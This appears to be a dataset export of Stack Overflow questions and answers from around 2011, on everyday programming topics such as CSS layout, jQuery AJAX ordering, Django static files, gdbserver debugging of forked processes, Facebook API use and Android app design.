text
stringlengths
8
267k
meta
dict
Q: How to make div width almost 100% I have such a html code: <div id="outer"> <div id="inner"></div> </div> How can I make #inner div to have width 100% of #outer but minus 10px? Here is my css: #outer { width: 100%; max-width: 500px; } A: Simply set a margin-left and/or a margin-right of 10px: #inner { margin: 0 10px } For example: http://jsfiddle.net/xrmAE/1/ Change 10px to 5px if required. A: What about padding: 10px for #outer? A: NOTE See ThirtyDot's answer, as it does not impact the outer element's width: How to make div width almost 100% The below will actually make the outer element's width total the width plus the padding left and right values, which is not what the question is asking. Sorry for the confusion. :) You could add a padding left and right of 5px (assuming you want the #inner to be 10px less total, not per side): <div id="outer"> <div id="inner"></div> </div> #outer { width: 500px; height: 500px; background: red; padding: 2px 5px; } #inner { width: 100%; height: 500px; background: blue; } http://jsfiddle.net/ZtaCM/ EDIT Taking into account the max-width property, see this demo: <div id="test"> <div id="outer"> <div id="inner"></div> </div> </div> <p> <input type="button" onclick="changeWidth('400px')" value="Change to 400px"/> <input type="button" onclick="changeWidth('500px')" value="Change to 500px"/> <input type="button" onclick="changeWidth('600px')" value="Change to 600px"/> </p> #outer { width: 100%; max-width: 500px; background: red; padding: 2px 5px; } #inner { width: 100%; height: 200px; background: blue; } #test { background: yellow; width: 600px; } function changeWidth(width) { document.getElementById('test').style.width = width; } http://jsfiddle.net/ZtaCM/1/
{ "language": "en", "url": "https://stackoverflow.com/questions/7620256", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: $.get command running out of sequence in JavaScript I am have a JavaScript that is not running in sequence. The script establishes an unload function. It uses the $.get jQuery command to retrieve a file, then it is supposed to print the file to the external device. I added some alert boxes, so I would know whether it is running every function, and I discovered it is trying to print before it is retrieving the file. I changed my code so it retrieved the file on an unload function, the prints the file on an on click function and it works perfectly. Is there a reason the it is running the $.get command out of sequence? A: AJAX requests get sent, but the processing continues - it does not stall until the response is received. So if you want things to go sequentially you need to do the processing in a closure: $.get(url, function(response) { // Process the response // do other stuff }; Not: $.get(url); // do other stuff
{ "language": "en", "url": "https://stackoverflow.com/questions/7620261", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "-3" }
Q: Module Pattern code loaded at run-time as normal anonymous functions I'm using Javascript Module Pattern, for the many benefits it gives, and I'm loading a JS file at run-time using: return $.ajax({ url: "../../Scripts/myFile.js", dataType: "script", cache: true }); the 1st line of myFile.js is myModule.Loaded = {}, and I'm using this on the parent (calling) script to make sure that myFile.js is loaded. here is the first few lines of myFile.js: myModule.Loaded = {}; myModule.sub1 = (function () { // some code })(); but what happens is that, myModule.Loaded value is undefined, which gives the impression that the file is not loaded yet, even though, on Firefox Firebug, I can see the file loaded in the Script tab, but there it loses module definitions and becomes like this: // the 1st line (myModule.Loaded = {}) vanished function () { // the same code as above } I mean, it became a group of anonymous functions instead of preserving module pattern. what's wrong?
{ "language": "en", "url": "https://stackoverflow.com/questions/7620267", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: datetime goes one hour forward when using unix timestamp with localtime settings Firstly i want to tell my server time setting : its +3 Europe/Istanbul and in php i am using date_default_timezone_set('Europe/Istanbul'); I use datetime type in my mysql table, when i insert row, its written like 2011-10-01 15:16:09 its correct no problem but in php side when i query and echo date time with echo strftime("%d %b %Y, %a %H:%M",strtotime(date("m/d/Y H:i",$data['UNIX_TIMESTAMP(date)']))); i get time one hour forward like 16:16:09 i dont understand how to figure it out. Any idea ? Edit : when inserting the rows i give the date to mysql, it doesnt use internal date info like CURRENT_TIMESTAMP A: The problem is almost certainly due to daylight savings times. If one part of the code specifies +3, that's already corrected for daylight savings. If the other part of the code doesn't recognize the date as already correct for daylight savings time, it will add an hour. I know it's not a great answer, but I don't seem to be able to post a comment yet.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620271", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Facebook Like Request Is it possible to request the likes of a particular object for a specific time? I have to know the likes till 2011-09-30. Like: SELECT url, share_count, like_count, comment_count, click_count, total_count FROM link_stat WHERE url="'.$url.' and date <= '2011-09-30'" Are there any date columns in the link_stat table? A: This kind of info is not available via facebook API but you can maintain it in your database, simply make a call every day and store it in your database and you will have historical info, build graphs for your objects, etc. Also if your object is a page, application or domain you can check insights: https://developers.facebook.com/docs/reference/api/insights/ which will give you relevant info
{ "language": "en", "url": "https://stackoverflow.com/questions/7620272", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: What platforms will my app that targets the .Net 3.5 framework run on? I'm writing a C# app (in VS 2008). If I target the .Net 3.5 framework, will it run on Windows XP and above? Will XP users potentially have to download a .Net upgrade? UPDATE If the app is intended for business / corporate environments do you think it's pretty safe to target 3.5 rather than 2.0? A: Only Windows 7 and newer will come with .NET 3.5 (SP1) pre-installed; Windows XP and Vista users, while able to run apps built on .NET 3.5, have to download and install it first in order to use your app. I think the latest service packs of XP and Vista include .NET 3.5, though. A: If the app is intended for business / corporate environments do you think it's pretty safe to target 3.5 rather than 2.0? Not if the client machines are not able to upgrade or install the 3.5 Framework. It's not safe to assume they already have the framework. It is realistic, however, to have them install the framework. They probably have it, and if they don't then they should get it if you're writing an app in 3.5.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620280", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: Anchor element becoming display:block in HTML5 instead of display:inline with cufon I got <a> elements that are display:inline in html4 and page displays fine (like I want it to). Now I am updating my page with new html5 and as a result following cufon link becomes display:block instead of display:inline, which is not desired by me. I would like them to remain inline though because since they are display:block now they are centered according to their total height, and when link is underscored for example it aligns vertically and looks not like links in the same row which don't have underscore for example. I wonder what can be done to either remain inline or to stop from that vertical centered alignment. Just to be clear I want my text to have fixed top, regardless of [letter + underscore].[actual height]. UPDATE I actually was able to get rid of such behaviour. I have no idea what has really helped, I noticed that on some pages same links were displayed as inline actually, and that page was referencing a smallish additional css. I added a css reference on buggy page and it worked. However I cannot see anything in that CSS that I can consider to be the reason of a fix. basicly all it has which is relevant to part of html in question is this: body, html, form { display:block; list-style:none; text-align:left; } Since theres already a bounty Ill go ahead and change question a little: I wonder how this helped. Or what is going on actually with this and cufon here. Im puzzled a little. A: Add a display:inline !important to proper tag.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620281", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "3" }
Q: Call and Execute a Function on a DLL using VBScript My target DLL file is Microsoft DirectInput dll file which is located here: C:\Windows\System32\Dinput.dll I have monitored an application which uses it for API. I just see that it has call for "DirectInputCreateEx" on Dinput.dll and I did not found any other useful information. Now I want to call and execute "DirectInputCreateEx" on Dinput.dll using VBScript. Is this possible? How? A: You could only do this (possibly) if it was a COM object. VBScript does not support calling normal API functions. You can get around this by creating a COM wrapper for it in C++ or similar language.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620282", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Using red5recorder in Asp.Net page I have setup the red5 server on my local machine and want to create a Asp.Net application which will have a recorder module (red5recorder) to enable recording the video using the client webcam and microphone. Have gone through the red5recorder site, could only find some javascript functions to be called for recording, playing etc. Dont know how to use the recorder in the page.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620283", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "3" }
Q: Batch posting to feed I am conducting test for a future project. I tried to rapidly post 100 - 200 test messages to a test user's feed from a server creating ~20 threads in parallel to send them as fast as possible. I got positive response to each one of those requests (including the id of the item being created in the body) but random number of those those messages does not appear on the facebook user's feed. For example it as ~40 when sending 200 in batch. Any idea what could be causing this? It is weird especially considering that I am getting positive answer to each request. A: Most likely Facebook spam detectors are filtering the messages after they get posted. Why would you possibly need to post 200 messages in a row to a users account? Your app would get shut down so fast. You can use the Facebook api to create a bunch of test accounts and then try distributing the posts to several different users to simulate real usage.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620286", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: WaitForExit for programs of type MS Word - process already started In my app I want to open *.rtf file, and than wait for it to be closed. Often user has MS Word to open *.rtf files and here is the problem. Code below works, but only when "WINWORD" process has not been started yet. When it is, calling Process.Start() opens only a new window of Word, and most of data from Process object becomes empty. I can't 'wait' for process, cuz it throws an exception. How can I deal with it? Please, help. Process p = new Process(); p.StartInfo.FileName = @"C:\Users\UserName\Desktop\MyFile.rtf"; p.Start(); string name = p.ProcessName; p.WaitForExit(); Console.WriteLine(name + " has exited"); Console.ReadKey(); *Edit: I have analyzed some solutions, and I have noticed, that if application by which user opens the *.rtf file is like Word (may open many files in many windows), I have to wait only for my *.rtf file window, not whole Process. It would be stupid. The problem is more and more complicated. Please Help.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620287", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: remote debugging gdb multiple process I am unable to debug a child process of a remote debugging session. I found a similar question How to debug the entry-point of fork-exec process in GDB? I am following the same procedure, although for a remote target. Is follow-fork-mode child supported for remote targets ? Following is my sample code.. 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <sys/types.h> 4 #include <unistd.h> 5 6 int spawn (void) 7 { 8 pid_t child_pid; 9 /* Duplicate this process. */ 10 child_pid = fork (); 11 if (child_pid != 0) 12 /* This is the parent process. */ 13 return child_pid; 14 else { 15 /* Now execute PROGRAM, searching for it in the path. */ 16 while(1) 17 { 18 static int i = 0; 19 if(i==0) /* break here for child */ 20 { 21 printf("I am child\n"); 22 } 23 else if(i==3) 24 { 25 return 1; 26 } 27 else 28 { 29 i = 0/0; 30 } 31 i++; 32 } 33 } 34 return 0; 35 } 36 int main () 37 { 38 /* Spawn a child process running the .ls. command. Ignore the 39 returned child process ID. */ 40 printf("Hello World..!!\n"); 41 spawn (); 42 printf ("Bbye World..!!\n"); 43 return 0; 44 } Running it with gdb, I can set set break point in child.. all fine here.!! sh-3.2# gdb fork (gdb) set follow-fork-mode child (gdb) set detach-on-fork off (gdb) b 19 Breakpoint 1 at 0x80483d0: file fork-exec.c, line 19. (gdb) c The program is not being run. (gdb) start Breakpoint 2 at 0x8048437: file fork-exec.c, line 40. Starting program: fork main () at fork-exec.c:40 40 printf("Hello World..!!\n"); (gdb) c Continuing. Hello World..!! [Switching to process 10649] Breakpoint 1, spawn () at fork-exec.c:19 19 if(i==0) /* break here for child */ (gdb) However if I try to catch child via gdbserver break point is lost.. sh-3.2# gdbserver :1234 fork & [5] 10686 sh-3.2# Process fork created; pid = 10689 Listening on port 1234 Run as target remote sh-3.2# gdb fork (gdb) target remote localhost:1234 Remote debugging using localhost:1234 Remote debugging from host 127.0.0.1 [New Thread 10689] 0x00bd2810 in _start () from /lib/ld-linux.so.2 (gdb) break 19 Breakpoint 1 at 0x80483d0: file fork-exec.c, line 19. (gdb) c Continuing. Hello World..!! Bbye World..!! Child exited with retcode = 0 Program exited normally. Child exited with status 0 GDBserver exiting What is the procedure to debug child process in embedded world. I know I can do a process attach, but I want to debug from the very beginning of the child process.. A: It is called follow-fork. No, it is not supported in gdbserver. A: As a (dirty!) workaround, you can just add a sleep() call right after the fork() with a delay long enough for you to get the child PID, attach it with another instance of gdbserver and connect to it with gdb. A: It should work with a modern gdb version, according to this bug-report.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620291", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "3" }
Q: Handling postbacks from an AJAX Rating Control inside a Repeater I have a Repeater control with a Rating control (from the latest AJAX Control Toolkit) inside: <asp:Repeater ID="repStudents" runat="server" onitemcommand="repStudents_ItemCommand"> <ItemTemplate> <%# Eval("FirstName") %> <asp:Rating ID="warnings" runat="server" Direction="NotSet" MaxRating="3" StarCssClass="star" EmptyStarCssClass="em" FilledStarCssClass="gr" WaitingStarCssClass="gr" AutoPostBack="True" CommandArgument='<%# Eval("Id") %>' CommandName="warn"></asp:Rating> <br /> </ItemTemplate> </asp:Repeater> In the code behind, I have: protected void repStudents_ItemCommand(object source, System.Web.UI.WebControls.RepeaterCommandEventArgs e) { //Custom log function Log.Append(e.CommandName + " " + e.CommandArgument); } All renders fine. However, when I click on a rating the page posts back but repStudents_ItemCommand is not fired. How can I fix this? Note that if I put a Button in the same Repeater, repStudents_ItemCommand fires correctly when I click the button. A: The Rating control does not support CommandName/CommandArgument properties. But you can extend it as follows: public class ExRating : Rating { [Category("Behavior")] public string CommandName { get { return (string)ViewState["CommandName"] ?? string.Empty; } set { ViewState["CommandName"] = value; } } [Category("Behavior")] public string CommandArgument { get { return (string)ViewState["CommandArgument"] ?? string.Empty; } set { ViewState["CommandArgument"] = value; } } protected override void OnChanged(RatingEventArgs e) { base.OnChanged(e); RaiseBubbleEvent(this, new CommandEventArgs(CommandName, CommandArgument)); } } Then replace the old control with new one: <pages> <tagMapping> <add tagType="AjaxControlToolkit.Rating, AjaxControlToolkit" mappedTagType="Sample.ExRating, Sample"/> </tagMapping> </pages>
{ "language": "en", "url": "https://stackoverflow.com/questions/7620292", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Uploading images in cloud9ide? Anyone else can't upload via the drag and drop function images in clou9ide? The name of the image appears in the file browser in the ide, but the image is broken (displays the broken image icon, in chrome). In fifrefox I get HTTP error [24]:500 not_defined callback is not defined0.1. Ive reported it has a bug to cloud9, but no response and not a lot of other people complaining about this issue. Anyone knows if I am doing something wrong? A: The drag and drop now works (well on the paid version). It was a un-implemented option at the time.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620295", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: jquery plugin to change HTML checkbox style ! Just like the stackoverflow style’s input tag I found a jquery plugin to do that! But I forget the name Plz help! A: Have a look at the TagIt plugin. However, it's not related to checkboxes at all.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620301", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "-4" }
Q: domElement.getClientWidth() and domElement.getClientHeight() return 0 I try to get size of GWT element with CssClass using standard methods, but it returns 0; Canvas canvas = Canvas.createIfSupported(); if(canvas == null){ /*alert code*/ } Element e = canvas.getElement(); canvas.getElement().setClassName(canvasElement); Context2d context = canvas.getContext2d(); int clientWidth = e.getClientWidth(); /*draw logic there*/ clientWidth is 0. Css class: .canvasElement{ position: absolute; left:10px; top:10px; width:40px; height:30px; } In which moment element size will be calculated? How can i catch catch moment? A: This info can not be determined until the item is rendered. This means the item must be a) attached to the dom, and b) allowed to draw (i.e. not display:none;). Note that you may mark it as visibility:hidden;, as that indicates that layout may occur on it and that it may consume space, but shouldn't actually be visible. This makes sense when you consider the css rule you want to apply to it. What happens if there is another rule, selected by .parent .canvasElement - the browser can't tell whether or not to apply that rule until the element is actually in the dom, so no rules are applied. Another case - a parent element scales its children, and then you add the canvas to that parent, so the width is modified by the parent. Measuring before and after attach could yield different values. Working specifically with the code you have, Canvas is a Widget subclass, and it implements HasAttachHandlers, so you can add a handler for the attach event to correctly measure every time it is attached to a new context (or, just measure the first time, then remove the handler). A: Canvas width and height must be put in the HTML file , Example : <canvas id="example" width="200" height="200"> This text is displayed if your browser does not support HTML5 Canvas. </canvas> Html Canvas element force you to put WIDTH and HEIGHT in HTML document , doesnt let you to put it only in CSS A: I am not sure about how GWT work, but as i have experienced an element should be in DOM structure before we can get its clientwidth/height. As per your code, i think the canvas element has not been appended to DOM when you are trying to access its clientwidth().
{ "language": "en", "url": "https://stackoverflow.com/questions/7620302", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Too many try/catch block for PDO In the controllers class files, most of the method functions include try/catch block something like this: try { $stmt = $this->prepare($sql); $stmt->execute($params); $result = $stmt->fetchAll(PDO::FETCH_ASSOC); //foreach() or so on... } catch (Exception $e) { //bunch of code... //save error into database, etc. //error into json and pass to view file } There are a lot of code in the catch block, is there a way to reduce it. Is possible to add "throw exception" in the catch block? A: Yes, it is. Try it by yourself. You can always throw a new Exception in a catch block or rethrow the same exception. try { // ... } catch (Exception $e) { // do whatever you want throw new Your_Exception($e->getMessage()); // or throw $e; } A: I don't know what "bunch of code" is. I'm not sure I believe you. If you have that much going on in a catch block you're doing something wrong. I'd put this kind of code into an aspect if you have AOP available to you. "Error into database" might throw its own exception. What happens to that? The only step that I see here that's necessary is routing to the error view. What does rethrowing the exception do? It's just passing the buck somewhere else. If all these steps don't need to be done, and all you're doing to rethrowing, then don't catch it at all. Let the exception bubble up to where it's truly handled. A: You shouldn't be catching Exception. That's much too general. Catch each specific type of Exception with multiple catch statements on your try block: try { } catch(PDOException $err) { } catch(DomainException $err) { }
{ "language": "en", "url": "https://stackoverflow.com/questions/7620305", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: How do I serve CSS to Django in development? I've been all through the documentation, and it just doesn't make sense to me. I ran collectstatic, I set up /static/ directories in both my app and my project directories, I added STATIC_URL and STATIC_ROOT to my settings.py file (but I have no idea how to know if they're set correctly) and {{ STATIC_URL }} still isn't rendering out to anything. It all seems like a heck of a lot of overkill just to connect html to css. I think I'm lost in the details; could anyone supply a high-level breakdown of this static files idea? I'm afraid I may have mixed instructions for both production and development setups. MORE: Here's the relevant bit from my settings.py file: INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', # Uncomment the next line to enable the admin: 'django.contrib.admin', # Uncomment the next line to enable admin documentation: # 'django.contrib.admindocs', 'django.contrib.staticfiles', 'dashboard.base', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.debug', 'django.core.context_processors.i18n', 'django.core.context_processors.media', 'django.core.context_processors.static', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ) STATIC_ROOT = '' STATIC_URL = '/static/' STATICFILES_DIRS = ( 'C:/Users/Sean/Desktop/Work Items/dashboard/base/static/', ) And this is the code I'm trying to use in my template: <link rel="stylesheet" href="{{ STATIC_URL }}css/960.css" /> OK. I made the changes everybody recommended. Here's my new urls.py: from django.conf.urls.defaults import * from base.views import show_project from django.conf import settings from django.contrib.staticfiles.urls import staticfiles_urlpatterns # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', # Example: # (r'^dashboard/', include('dashboard.foo.urls')), # Uncomment the admin/doc line below to enable admin documentation: # (r'^admin/doc/', include('django.contrib.admindocs.urls')), # Uncomment the next line to enable the admin: (r'^admin/', include(admin.site.urls)), ('^show_project/$', show_project), ) if settings.DEBUG: urlpatterns += patterns('', url(r'^media/(?P<path>.*)$', 'django.views.static.serve',{'document_root': settings.MEDIA_ROOT, 'show_indexes': True }), url(r'^static/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.STATIC_ROOT, 'show_indexes': True })) urlpatterns += staticfiles_urlpatterns() Am I missing something? Usually my problems turn out to be something really basic that CS pros take for granted but I miss. A: Here's how mine is setup. It sounds like you might be missing the static context processor? STATIC_ROOT and STATIC_URL In the settings.py used in development: STATIC_ROOT = '' STATIC_URL = '/static/' And the settings.py used on my production server: STATIC_URL = '//static.MYDOMAIN.com/' STATIC_ROOT = '/home/USER/public_html/static.MYDOMAIN.com/' So, all the static files are located in static/. On the production server, all these files in static/ are collected to /home/USER/public_html/static.MYDOMAIN.com/ where they are served by a different web server (nginx in my case) and not Django. In other words, my django application (running on Apache) never even receives requests for static assets in production. CONTEXT PROCESSOR In order for templates to have the STATIC_URL variable available to them, you need to use the django.core.context_processors.static context processor, also defined in settings.py: TEMPLATE_CONTEXT_PROCESSORS = ( # other context processors.... 'django.core.context_processors.static', # other context processors.... ) SERVER STATIC ASSETS IN DEVELOPMENT Django doesn't get requests for static assets in production, however, in development we just let Django serve our static content. We use staticfiles_urlpatterns in urls.py to tell Django to serve requests for static/*. from django.contrib.staticfiles.urls import staticfiles_urlpatterns # .... your url patterns are here ... urlpatterns += staticfiles_urlpatterns() A: Have a look at Serving static files in development. You need to define the STATIC_URL and STATICFILES_DIRS to let django.contrib.staticfiles know where to look for files. A: The idea behind the static files idea is that you can distribute your development related media file (css/js etc.) on a per-app basis, and allow the static files application to manage and collect all these resources from their various places. So you tell the static files app where to look for static files (by settings STATICFILES_DIRS), where to copy to them (STATIC_ROOT) and what path to access them (STATIC_URL). When you run collectstatic, it search through the directories and copies all the files it finds into the static root. The benefit of this is that you can manage your static files on a finer leve: project/app1/static/css/ # These are css/js for a particular app project/app2/static/css/ project/app3/static/css/ project/static/css # These might be general css/js for the whole project static/ # This is where the collectstatic command will copy files to and after you collectstatic them you will have: project/app1/static/css/ project/app2/static/css/ project/app3/static/css/ project/static/css static/app1/css/ static/app2/css/ static/app3/css/ static/css/ When you put your app/site on a production server, you let the webserver (apache, nginx) deal with serving the files by telling it to serve media files at /static/ or /media/ directly, while passing all other requests to the application. When developing though, it's easier to let the development server do this for you. To do this, you have explicitly tell is server any request for media under /static/ (your STATIC_URL). In your urls.py, put the following (or similar) from django.conf import settings ... if settings.DEBUG: urlpatterns += patterns('', url(r'^media/(?P<path>.*)$', 'django.views.static.serve',{'document_root': settings.MEDIA_ROOT, 'show_indexes': True }), url(r'^static/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.STATIC_ROOT, 'show_indexes': True })) A: I have the same problem, and search many answers, but no one give me right answer. The problem is you don't use RequestContext I think. You should make a RequestContext as the parameter of Template like c = RequestContext(request, { 'foo': 'bar', }) In my views is: return render_to_response('parts/test2.html', RequestContext(request, locals()))
{ "language": "en", "url": "https://stackoverflow.com/questions/7620307", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "6" }
Q: Windows Phone 7 Add PivotItem to Pivot with code in real time, how? How can I add Pivot Items in runtime, and add some content to it? A: You can create PivotItems at runtime just like you would create any UIelement. For example like this: PivotItem pitem = new PivotItem(); //create pivotitem pitem.Content = //set pivotitem content MyPivot.Items.Add(pitem);//Add pivotitem to your pivot
{ "language": "en", "url": "https://stackoverflow.com/questions/7620308", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: How does CSS work in JqueryMobile In jqueryMobile, only the first page section seems to be loaded. When the user is redirected to a second page, the of that page is added to the first page, no headers are loaded. If that is correct, how do we manage CSS files in jQueryMobile? Do I need to specify ALL the website classes in just one file? or is there any way to tell jquerymobile to load the css required for each page? Thanks! A: jQuery Mobile will hijax all the links on the page by default, loading the content via ajax, and only add the <body> of the response to the DOM. So, yes the easiest way is to load your required CSS up front in the first page. Bundle it and minify it to reduce the impact on the client.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620309", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Remember user input from other website A registration webpage impressed me by knowing all my name, address, email, telephone number. This is the first time i visit this website. I guess that it might remember from other website with same id or name such as id="firstname" id ="telephone" but i don't know exactly what is going on. How to implement this ? Edit - Add more information. I have done nothing, value is just appeared as page load. This is what i got from view source. <div class="ui-form-field" id="ohfirstNameField"> <input class="ui-form-field-text ui-corner-all" name="ohfirstName" maxlength="4000" type="text" id="ohfirstName" required="required" value="Sarawut" /> </div> A: I have seen that before as well, and here is my theory. I believe the browser is storing basic information for you. A separate website cannot read any cookies not generated by itself (that would be a huge security issue), so that can't be it. I think it is just a few fields that the browser stores. How to get at them, I am not sure. Is this Google Chrome you're talking about? A: You could use OpenId to get a similar effect. The user will be asked, if he allows the authenticating site to his data, but if admits it, you will be able to prefill your form with data from the user.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620310", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Using Open Graph Beta, how do you post that two Facebook users are friends within in an app? In our app, you can be friends with each other (just like you can be friends on Facebook). Is it possible to use the Open Graph Beta to post an update in the News Feed, Ticker, and Timeline that a user (who is already authenticated with "Add to Timeline") has "become friends" (action) with another user (object)? It doesn't appear that you can access Facebook profiles as objects, so how would this be accomplished? Or is it not possible? A: You could only post that as a normal status update or graph activity feed with hard coded text "John is now friends with Nathan". The Graph API does not currently allow you to tag users so that the posts could be linked to the user account.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620312", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: email_hashes and deprecated connect.registerUsers It is very important that Facebook Connect and Facebook app users aren't duplicated in our website. So if they already have an account on our website, when they connect through FB Connect or our Facebook app, we want to link rather than create another account. We typically do so by matching email addresses. So I was excited to see an FQL field for email_hashes in the user object. However, that doesn't return anything. I think I need to use the connect.registerUsers REST api function to first send facebook all the email hashes for my users. That's fine, but that mechanism is now deprecated. Is there a way to get email hashes from Facebook users? A: The only way still is as you detailed and as is documented on connect.registerUsers. email_hashes will be populated if you first call connect.registerUsers and there is a email match. I wouldn't be too concerned about it being deprecated as I am guessing they won't remove this functionality without first migrating it the the graph api as they say they will do on the documentation page.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620314", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Rails 3 Nested resource routes inherits parent constraints, how to avoid it? It you define constraint on "id" in parent resource: resources :foo, constraints: { :id => /CONST/ } do resources :bar end The nested resource will inherits that constraint for its own id, thus the generated routes will be like: /foo/:foo_id/bar/:id/edit(.:format) {:id=>/CONST/, :foo_id=>/CONST/, :action=>"edit", :controller=>"bar"} So, I don't want the "id" parameter of Bar resource to be that restricted. Currently, I've just map the routes I want manually, one by one, but I am really want to generate it by resources helper. How can I do that? A: How about : resources :foo, constraints: { :id => /CONST/ } resources :foo, constraints: { :foo_id => /CONST/ } do resources :bar end
{ "language": "en", "url": "https://stackoverflow.com/questions/7620321", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "6" }
Q: Get PID from ShellExecute I am launching a process from ShellExecuteEx, and I really need to get the ProcessID (It's part of the requirement of this class). Somehow all the important SHELLEXECUTEINFO returns null. So for example if I use this code: exInfo.lpVerb = "open"; exInfo.lpFile = "C:\\Windows\\system32\\cmd.exe"; exInfo.nShow = 5; ShellExecuteExA(exInfo); It launched CMD.exe. But now I need to get it's PID. exInfo.hwnd is returning 0, and exInfo.hProcess is returning null. Is this normal behaviour? I don't really want to resort to using CreateProcess(), because my function should also be able to launch documents like "C:\doc1.docx". This is just a method, in which I cannot predict what is going to be launched (So I cannot know the window title/classname from beforehand, get the hWnd from there and then get the PID). Could somebody kindly point out my mistake? Thanks. A: You need to set a flag (SEE_MASK_NOCLOSEPROCESS) in exInfo.fMask
{ "language": "en", "url": "https://stackoverflow.com/questions/7620322", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "4" }
Q: Best server side technology with Adobe Flex as UI I am new to web technologies. I along with my friends want to develop a web application. There is one guy in our team who knows Flex technology. I would like to use Java Springs framework at the back end. The web application caters to students a Music school. And for the same reason we chose Flex for UI since the application needs to be flashy and rich in graphics. The application allows students to create profiles and interact with the teacher. Eventually we want to add Online Music classes feature with online payment gateway integrated. Kindly guide me which are the suitable technologies to use at the back end. Also let me know if SpringFlex with BlazeDS integration is a good combination with Adobe Flex. A: For a small project like this you can really use the Spring + Spring BlazeDS Integration and BlazeDS. But I would recommend to use at least some Flex framework on the frontent like Cairngorm3 + Parsley or other simple ones (http://www.adobe.com/devnet/flex/articles/flex_framework.html) not to end with some cowboy codings there. Another solution could be GraniteDS which is similar to BlazeDS.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620327", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Is there referrer header while using SSL? Is there referrer header within domain while using SSL? A: If a website is accessed from a HTTP Secure (HTTPS) connection and a link points to anywhere except another secure location, then the referrer field is not sent. The upcoming standard HTML5 will support the attribute/value rel = "noreferrer" in order to instruct the user agent not to send a referrer. Source: http://en.wikipedia.org/wiki/HTTP_referrer So it seems referrer is not within the domain, but within SSL. A: At least Chrome supports now a Meta Tag which explicitly allows to send the Referrer when going from HTTPS to HTTP. Just include the following line in the header: <meta name="referrer" content="origin"> Here is more Information: http://wiki.whatwg.org/wiki/Meta_referrer
{ "language": "en", "url": "https://stackoverflow.com/questions/7620328", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "5" }
Q: Is this the correct approach to design a shopping cart Android application? I have a requirement to develop a shopping cart Android application. The features should include * *Ability for any customer to register *Ability to login with his credentials *Search and select products *View history about his previous purchases *Make payment to get the products delivered to his billing address. I have done some analysis and below are my thoughts. Server Side: Java web application Client Side: Android application * *Design Android application with an Activity to allow customers to register themselves. *Design another Activity to enable customers to login to the application (authenticate customer by sending his credentials through HttpClient to a Java servlet. Once the customer is authenticated successfully, generate a unique token id at the server end store it in the database and send it to the Android client app. Is this the correct approach to remember the customer (similar to session management) for his further interactions with the application?) *Provide customers the ability to search and select desired products (use above created unique token for further interaction with server). *Provide customers the ability to view his history of purchases. *Provide customers the ability to make payments. (Can i take customer PayPal credentials from Android app and use PayPal API to pragmatically make payments at server end? Is it correct approach? Can someone please suggest me with correct approach / best practices and with sample code if possible? Thanks, A: If I understand you well, you only need an application that is taylored to your website needs. You suggest to use android native code and interract with your website through HTTP worker. This provides the higher integration but is not really necessary. Another approach is to code a WebApplication. Mainly, this is like building your application around a WebView. Think of it as an integrated web browser with cookies, javascript and session management. With this approach you can keep as much as possible on your website (using an hidden mobile-like version) and yet add standard android widgets wherever you want. One nice point is that you can correct part of the bugs directly on the website, without asking people to download an update.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620329", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
